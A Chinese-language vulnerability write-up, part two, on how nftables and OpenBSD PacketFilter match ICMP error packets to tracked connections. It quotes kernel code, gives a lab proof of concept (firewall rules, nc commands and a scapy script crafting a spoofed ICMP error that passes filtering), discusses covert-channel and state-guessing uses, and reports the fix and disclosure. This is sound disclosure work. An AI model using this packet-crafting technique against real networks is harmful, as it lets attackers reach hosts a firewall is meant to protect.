绕过nftables/PacketFilter防火墙过滤规则传输ICMP/ICMPv6数据包的漏洞详解(下)

上一篇文章,我们对防火墙过滤规则和ICMP/ICMPv6数据包的传输过程做了充分的介绍,以剖析其中可能出现的攻击风险。本文我就详细解析恶意数据包如何被传送。
Nftables的实施和细节
Linux是在netfilter conntrack模块中实现的数据包的各种功能,Nftables在netfilter/nf_conntrack_core.c中以函数nf_conntrack_in开始启动,该函数处理在参数skb中发送的每个输入数据包。在nf_conntrack_handle_icmp中处理第4层协议和ICMP和ICMPv6的的提取。
unsigned int
nf_conntrack_in(struct sk_buff *skb, const struct nf_hook_state *state)
{
    // ..
    l4proto = __nf_ct_l4proto_find(protonum);
    if (protonum == IPPROTO_ICMP || protonum == IPPROTO_ICMPV6) {
        ret = nf_conntrack_handle_icmp(tmpl, skb, dataoff,
                           protonum, state);
        if (ret _nfct)
            goto out;
    }
    // ...
}
然后nf_conntrack_handle_icmp根据ICMP的版本调用nf_conntrack_icmpv4_error()或nf_conntrack_icmpv6_error()。这些函数非常相似,所以先让我们理解一下ICMP。
如果类型为ICMP_DEST_UNREACH、ICMP_PARAMETERPROB、ICMP_REDIRECT、ICMP_SOURCE_QUENCH、icmp_time_overflow之一,则nf_conntrack_icmpv4_error会验证ICMP标头并调用icmp_error_message。
/* Small and modified version of icmp_rcv */
int nf_conntrack_icmpv4_error(struct nf_conn *tmpl,
                  struct sk_buff *skb, unsigned int dataoff,
                  const struct nf_hook_state *state)
{
    const struct icmphdr *icmph;
    struct icmphdr _ih;
    /* Not enough header? */
    icmph = skb_header_pointer(skb, ip_hdrlen(skb), sizeof(_ih), &_ih);
    if (icmph == NULL) {
        icmp_error_log(skb, state, "short packet");
        return -NF_ACCEPT;
    }
    // ...
    if (icmph->type > NR_ICMP_TYPES) {
        icmp_error_log(skb, state, "invalid icmp type");
        return -NF_ACCEPT;
    }
    /* Need to track icmp error message? */
    if (icmph->type != ICMP_DEST_UNREACH &&
        icmph->type != ICMP_SOURCE_QUENCH &&
        icmph->type != ICMP_TIME_EXCEEDED &&
        icmph->type != ICMP_PARAMETERPROB &&
        icmph->type != ICMP_REDIRECT)
        return NF_ACCEPT;
    return icmp_error_message(tmpl, skb, state);
}
然后icmp_error_message负责提取和识别匹配状态:
/* Returns conntrack if it dealt with ICMP, and filled in skb fields */
static int
icmp_error_message(struct nf_conn *tmpl, struct sk_buff *skb,
                   const struct nf_hook_state *state)
{
    // ...
    WARN_ON(skb_nfct(skb));
    zone = nf_ct_zone_tmpl(tmpl, skb, &tmp);
    /* Are they talking about one of our connections? */
    if (!nf_ct_get_tuplepr(skb,
                   skb_network_offset(skb) + ip_hdrlen(skb)
                               + sizeof(struct icmphdr),
                   PF_INET, state->net, &origtuple)) {
        pr_debug("icmp_error_message: failed to get tuplen");
        return -NF_ACCEPT;
    }
    /* rcu_read_lock()ed by nf_hook_thresh */
    innerproto = __nf_ct_l4proto_find(origtuple.dst.protonum);
    /* Ordinarily, we'd expect the inverted tupleproto, but it's
       been preserved inside the ICMP. */
    if (!nf_ct_invert_tuple(&innertuple, &origtuple, innerproto)) {

        pr_debug("icmp_error_message: no matchn");
        return -NF_ACCEPT;
    }
    ctinfo = IP_CT_RELATED;
    h = nf_conntrack_find_get(state->net, zone, &innertuple);
    if (!h) {
         pr_debug("icmp_error_message: no matchn");
        return -NF_ACCEPT;
    }
    if (NF_CT_DIRECTION(h) == IP_CT_DIR_REPLY)
        ctinfo += IP_CT_IS_REPLY;
    /* Update skb to refer to this connection */
    nf_ct_set(skb, nf_ct_tuplehash_to_ctrack(h), ctinfo);
    return NF_ACCEPT;
}
1.首先,使用nf_ct_zone_tmpl计算数据包skb的网络区域。 nftables有网络连接conntrack区域的概念。这些区域允许虚拟化连接跟踪,以便在conntrack和NAT中处理具有相同身份的多个连接。除非有明确的规则要求,否则所有数据包都将进入0区域;
2. 然后使用nf_ct_get_tuplepr从ICMP层内的ip数据报中提取ip连接状态 origtuple;
3.nf_ct_invert_tuple执行状态的源或目标交换,因为它引用原始出站数据包,而防火墙却检查的是入站数据包;
4.nf_conntrack_find_get查找与提取的状态匹配的已知状态,此时我们看到外层IP层未被考虑用于查找状态;
5.如果找到状态,则nf_ct_set会标记具有相关状态(IP_CT_RELATED)的sbk数据包。
对于ICMPv6,类型小于128的反馈消息有类似的实现过程。
PacketFilter 的实现细节
在PacketFilter中,相关的概念实际上是隐含的,并且是在状态的概念下实现的。数据包过滤的总体设计思路是这样的:数据包可以与状态相关联吗?
如果是,则允许数据包通过;如果不是,则根据过滤规则测试数据包。如果匹配规则允许数据包通过,则可能会创建一个状态。
整个逻辑是在/sys/net/pf.c中的函数pf_test中实现的,下面这段代码显示了对ICMPv6的处理过程,为了方便讲解,部分代码已被删除。
pf_test(sa_family_t af, int fwdir, struct ifnet *ifp, struct mbuf **m0)
{
    // ...
    switch (pd.virtual_proto) {
    case IPPROTO_ICMP: {
        // look for a known state
        action = pf_test_state_icmp(&pd, &s, &reason);
        s = pf_state_ref(s);
        if (action == PF_PASS || action == PF_AFRT) {
            // if a valid state is found the packet might go there
            // without being tested against the filtering rules
            r = s->rule.ptr;
            a = s->anchor.ptr;
            pd.pflog |= s->log;
        } else if (s == NULL) {
            // if no state is found the packet is tested
            action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason);
            s = pf_state_ref(s);
        }
        break;
    }
    case IPPROTO_ICMPV6: {
        // look for a known state
        action = pf_test_state_icmp(&pd, &s, &reason);
        s = pf_state_ref(s);
        if (action == PF_PASS || action == PF_AFRT) {
            // if a valid state is found the packet might go there
            // without being tested against the filtering rules
            r = s->rule.ptr;
            a = s->anchor.ptr;
            pd.pflog |= s->log;
        } else if (s == NULL) {
            // if no state is found the packet is tested
            action = pf_test_rule(&pd, &r, &s, &a, &ruleset, &reason);
            s = pf_state_ref(s);
        }
        break;
    }
    // ...

}
pf_test_state_icmp()是尝试查找此数据包与已知连接之间关系的一个函数,它使用对pf_icmp_mapping()的调用来了解数据包是带内还是带外。在带外情况下,提取内部IP数据包及其第4层协议以找到状态。过程如下所示:
int pf_test_state_icmp(struct pf_pdesc *pd, struct pf_state **state, u_short *reason) {
    // ...
    if (pf_icmp_mapping(pd, icmptype, &icmp_dir, &virtual_id, &virtual_type) == 0) { // af) {
        case AF_INET: // th_sport;
            key.port[pd2.didx] = th->th_dport;
            action = pf_find_state(&pd2, &key, state); // uh_sport;
            key.port[pd2.didx] = uh->uh_dport;
            action = pf_find_state(&pd2, &key, state); //
1.pf_icmp_mapping()确定是否应提取内部数据包,如果是,则继续执行。
2.此时仅针对以下数据包继续执行:
· IPv4上的ICMP_UNREACH;
· IPv4上的ICMP_SOURCEQUENCH;
· IPv4上的ICMP_REDIRECT;
· IPv4上的ICMP_TIMXCEED;
· IPv4上的ICMP_PARAMPROB;
· IPv6的ICMP6_DST_UNREACH;
· IPv6上的ICMP6_PACKET_TOO_BIG;
· IPv6上的ICMP6_TIME_EXCEEDED;
· IPv6上的ICMP6_PARAM_PROB。
· 3和4.根据版本提取IP标头;
· 5和8.提取UDP或TCP的标头;
· 6和9.初始化查找密钥,而不考虑上层IP数据包;
· 7和10.执行状态查找,如果发现状态,则函数可以返回PF_PASS,允许数据包通过。
概念验证
本节,我们将演示一个具体的示例。配置是这样的:处于同一网络上的4个主机、两个子网、一个局域网和一个广域网以及用于防护它们的防火墙。我们将使用Linux nftables和OpenBSD Packet Filter作为防火墙来进行测试。
你可以使用虚拟机或真实的设备来设置测试环境,我们在测试中使用了真实的IP前缀。请注意:
1.0.0.0/8下的广域网是一个不受信任的网络;
2.0.0.0/24以下的局域网是一个受信任的网络,其访问必须由防火墙过滤;
· M,广域网IP 为1.0.0.10上的攻击者;
· A,广域网IP 为1.0.0.11上的主机;
· H,局域网IP 为2.0.0.10上的敏感服务器;
· B,局域网IP为2.0.0.11上的主机;
· F,局域网IP 为2.0.0.2与广域网IP 为1.0.0.2之间的防火墙;

我们将考虑在端口53和1234上从A到B建立一个会话UDP,攻击者必须知道这些会话参数,才能发起进攻。
防火墙配置应该能做到以下防护效果:
1.阻止所有从广域网到局域网上的ICMP;
2.允许ICMP从局域网到广域网;
3.允许A和B之间的UDP连接;
4.阻止其他一切连接;
在这些条件下,我们预计攻击者无法向H发送单个ICMPv6数据包。
对于Linux下的测试,防火墙配置如下(同样可以使用命令nft):
# iptables -P INPUT DROP
# iptables -P FORWARD DROP
# iptables -P OUTPUT DROP
# iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
# iptables -A FORWARD -i if-wan -o if-lan -p udp --dport 53 -j ACCEPT
对于OpenBSD测试,防火墙配置如下:
# em0 is on the WAN
# em1 is on the LAN
block all
# explicitly block icmp from the WAN to the LAN
block in on em0 proto icmp
# allow icmp from the lan to both the WAN and LAN
pass in  on em1 inet proto icmp from em1:network
pass out on em1 inet proto icmp from em1:network
pass out on em0 inet proto icmp from em1:network
# allow udp to B
pass in  on em0 proto udp to b port 53
pass out on em1 proto udp to b port 53
pass in  on em1 proto udp from b port 53
pass out on em0 proto udp from b port 53
在B上模拟一个UDP服务:
(B) $ nc -n -u -l 53
通过A建立连接:
(A) $ nc -u -n -p 1234 2.0.0.11 53
TEST
我们可以检查从M到H的入站ICMP是否被过滤:
(M) $ ping -c 1 2.0.0.10 -W2
PING 2.0.0.10 (2.0.0.10) 56(84) bytes of data.
--- 2.0.0.10 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
现在我们将使用下面的python脚本,它使用了scapy库。
from scapy.all import *
M = "1.0.0.10" # attacker
H = "2.0.0.10" # protected server
A = "1.0.0.11"
B = "2.0.0.11"
Pa = 1234
Pb = 53
icmp_reachable = IP(src=M, dst=H) /
                 ICMP(type=3, code=3) /
                 IP(src=B, dst=A) /
                 UDP(sport=Pb, dport=Pa)
send(icmp_reachable)
在Linux和OpenBSD两种情况下,网络捕获都显示ICMP数据包由防火墙转发到H,并从一个接口发送到另一个接口。


通过Wireshark进行的捕获,其中显示了第二个ICMP消息是从一个接口发送到另一个接口的
因此,无论过滤规则如何设置,攻击者都能够将数据包发送到正常过滤的主机H。
实践中的攻击示例
通常情况下,以上我们所描述的攻击,都是假设攻击者知道现有连接的状态,即TCP或UDP情况下的源和目标IP和端口。这个假设听起来不靠谱,但实践证明,这个假设条件很容易实现。
第一种情况是,如果面向互联网的服务(如Web服务器)位于防火墙层之后,攻击者只需连接到此服务,并将其自身的连接用作有效状态,就可以通过ICMP访问防火墙后层的所有主机
第二种情况是,由于攻击者控制的服务器可能处于泄漏状态,所以局域网中的受害者很容易主动连接到攻击者控制的服务器。
第三种情况是,攻击者可以嗅探受害者的数据,由于IP和TCP标头未加密,因此TLS或SSH并不受保护。
还有一种可能就是,攻击者很可能早已经潜伏在了防火墙后层的局域网上,例如在办公室网络中,只是试图到达经过过滤的DMZ中的服务器。在这种情况下,攻击者可以简单地从局域网发起出站连接,然后从外部定位DMZ。
在大多数情况下,网络防火墙的配置看似合理,但却隐藏着极大的风险,比如下面几种情况。
猜测连接状态
如果攻击者无法轻易知道防火墙上活动连接的状态,他仍然可以尝试暴力破解的方法。
实际上,自动化环境更有可能暴露已知状态,因为系统可能经常通过安装/发现/设置步骤来生成DHCP,DNS或NTP的数据。这些协议是很好的暴力破解对象,因为它们涉及的秘密更少。
1.基于UDP的协议有DHCP,NTP,ISAKMP,所以猜测DHCP状态可能适用于不公开DHCP服务器但包含配置为尝试DHCP的客户端的网络。由于来源和目标是事先知道的,网关可以猜测或暴力破解。所以攻击者通过针对一小组已知的NTP服务器强制执行NTP客户端源地址,可能会成功猜测出NTP状态。这同样适用于固定源和目标端口的ISAKMP。
2.除非连接跟踪实现不检查seq/ack字段(RFC5927推荐使用这种检查),否则猜测出TCP状态会很困难。事实证明,nftables不检查seq / ack字段,因此基于TCP的持久连接协议是很好的猜测对象。这意味着SSH、HTTPS,后端服务、SIP等都可能受到攻击,RFC5961则记录了这种攻击。
3.当应用程序经常使用ICMP ECHO请求时,ICMP状态在一些罕见的情况下是已知的,比如IP连接检查、squid ping等;
4.AH/ESP:由于nftables和Packet Filter都会验证SPI字段,因此只需知道源地址和目标地址即可恢复现有状态。
安全影响
总而言之,能够识别出活动连接的攻击者会将ICMPv6错误发送到防火墙后层的任何主机,并将数据包视为相关。在大多数防火墙配置中,由于允许相关的数据通过,这都将导致数据包被转发到其目标,而不进行任何过滤,攻击者可以利用这个过程到达通常无法到达的主机。
以下就是我们发现的4种攻击情形,它们就是滥用了此过程:
1.攻击过滤主机的IP堆栈;
2.在过滤网络中与植入的恶意载荷进行通信的设置;
3.使用漏洞作为oracle来枚举现有的连接状态;
4.针对过滤的局域网内的网络拓扑结构更改发起攻击;
在第一种攻击情形中,对IP堆栈的成功攻击不太可能一次性完成,因为攻击者只有少量可用的ICMPv6消息类型。但是,如果老旧工业设备和不太成熟的堆栈接收到意外的ICMP数据包,则可能会受到影响。
而第二种攻击情形将有助于在受限网络中发送或接收来自恶意载荷的消息,由于发送的ICMP错误的内部数据报中的有效载荷可以是任意的,因此它可以用作隐蔽信道。
第三种攻击情形会要求攻击者位于防火墙的前后两层,即广域网上和局域网上,其攻击思想是使用ICMP数据包的遍历作为封装数据包与连接状态匹配的证据。实际上,如果内层可以与已知连接相关,则数据包才能够通过。这种技术可以在bruteforce环境中使用,例如,攻击者尝试猜测内部主机和合法服务器之间UDP会话的源端口。
从攻击者的角度来看,第四种攻击情形看起来很有趣,但在现代操作系统中确实行不通。由于两个防火墙都允许ICMP重定向使用所描述的技术进行发送,因此过滤的主机可能会接收可以更改其路由表的数据包。但是我们的测试表明,普通的操作系统(Linux,Windows macOS)可以适当地缓解这种情况。
以上所述的攻击思想都是将ICMP数据包发送到应该过滤的局域网上的主机。但是,值得一提的是,局域网通常使用NAT构建,并且受到保护。这是因为地址转换过程将修补内部和外部IP数据包。因此,只能转发现有连接中的数据包。
总结
综上所述,这些漏洞行为的根源是内部IP数据包与外部IP数据包之间缺乏相关性。
与从A到B的连接相关的合法ICMP错误,应始终使其外部和内部IP标头类似于以下几种情况:
1.外部IP源= B或A和B之间的任何中间设备;
2.外部IP目标= A;
3.内部IP源= A;
4.内部IP目标= B;
实际上,从A到B的路径上的任何主机都可能产生错误,并且事先不知道是哪个主机。这就是为什么检查源IP不可靠。但是,检查目标IP就可以防止这个漏洞。由于此带外ICMP错误会发送到A,因此它必须是对以A作为源的原始数据报的响应。
因此,可以实现的另一个可能的检查是验证内部源IP与外部目标IP是否匹配。

目前,我们已经将这个PacketFilter中的漏洞披露给了OpenBSD,FreeBSD,Oracle Solaris和OPNsense开发人员和维护人员。他们很快解决了这个问题并在接下来的几个小时内提供了修复, OpenBSD团队发布了相关补丁,而FreeBSD也使用了一个类似的补丁。
Linux开发人员和维护人员也收到了我们的漏洞通知,不过在本文发布时,尚未提供任何修复程序。